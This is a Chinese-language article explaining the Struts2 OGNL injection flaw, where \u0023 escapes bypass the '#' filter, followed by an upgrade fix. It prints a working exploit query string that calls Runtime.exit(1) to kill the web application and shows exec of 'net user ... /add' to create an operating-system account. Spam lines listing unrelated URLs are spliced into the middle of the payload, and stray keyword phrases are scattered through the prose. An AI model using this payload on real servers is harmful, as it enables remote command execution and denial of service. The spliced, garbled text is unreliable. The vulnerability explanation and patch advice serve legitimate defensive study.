1、原理

Struts2的中心是运用的webwork结构，处置 action时号码大全经过调用底层的getter/setter办法来处置http的参数，它将每个http参数声明为一个ONGL（这里是ONGL的介绍）语句。当关键词挖掘工具咱们提交一个http参数：

?user.address.city=Bishkek&user[‘favoriteDrink‘]=kumys 

ONGL将它转换为：

action.getUser().getAddress().setCity("Bishkek")  

action.getUser().setFavoriteDrink("kumys") 

这是经过ParametersInterceptor（参数过滤器）来履行的，运用用户供给的HTTP参数调用 ValueStack.setValue()。 www.2cto.com

为了防备篡改服务器端目标，XWork的ParametersInterceptor不允许参数名中呈现“#”字符，但假如运用了Java的 unicode字符串表示\u0023，攻击者就能够绕过维护，修正维护Java办法履行的值：

?

此处代码有破坏性，请在测试环境履行，严禁用此种办法进行歹意攻击

?(‘\u0023_memberAccess[\‘allowStaticMethodAccess\‘]‘)(meh)=true&(aaa)((‘\u0023context[\‘xwork.MethodAccessor.denyMethodExecution\‘]\u003d\u0023foo‘)

-        indexRead arguments from command-line "http://www.3h5.cn"

-        indexRead arguments from command-line "http://www.shoudashou.com"

-        indexRead arguments from command-line "http://www.4lunwen.cn"

-        indexRead arguments from command-line "http://www.zx1234.cn"

-        indexRead arguments from command-line "http://www.majiangji168.cn"

-        indexRead arguments from command-line "http://www.penbar.cn"

-        indexRead arguments from command-line "http://www.whathappy.cn"

-        indexRead arguments from command-line "http://www.lunjin.net"

-        indexRead arguments from command-line "http://www.ssstyle.cn"

-        indexRead arguments from command-line "http://www.91fish.cn"(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)((‘\u0023rt.exit(1)‘)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 

转义后是这样：

?(‘#_memberAccess[‘allowStaticMethodAccess‘]‘)(meh)=true&(aaa)((‘#context[‘xwork.MethodAccessor.denyMethodExecution‘]=#foo‘)(#foo=new%20java.lang.Boolean("false")))&(asdf)((‘#rt.exit(1)‘)(#rt=@java.lang.Runtime@getRuntime()))=1

OGNL处置时终究的成果即是

java.lang.Runtime.getRuntime().exit(1);  //封闭程序，行将web程序封闭

相似的能够履行

java.lang.Runtime.getRuntime().exec("net user 用户名 暗码 /add");//添加操作体系用户，在有权限的情况下能成功（在URL顶用%20更换空格，%2F更换/）

只需有权限就能够履行任何DOS指令。

2、解决办法

网上许多文章都介绍了三种解决办法，自己觉得将struts2的jar包更新到最新版别最简单，不用更改任何程序代码，当前最新版别2.3.4

下载到的更新包中有许多jar包，我体系中首要用到以下几个更换掉旧版别的：

commons-lang3-3.1.jar        (保存commons-lang-2.6.jar)

javassist-3.11.0.GA.jar        (新加包)

ognl-3.0.5.jar            (更换旧版别)

struts2-core-2.3.4.1.jar    (更换旧版别)

xwork-core-2.3.4.1.jar        (更换旧版别)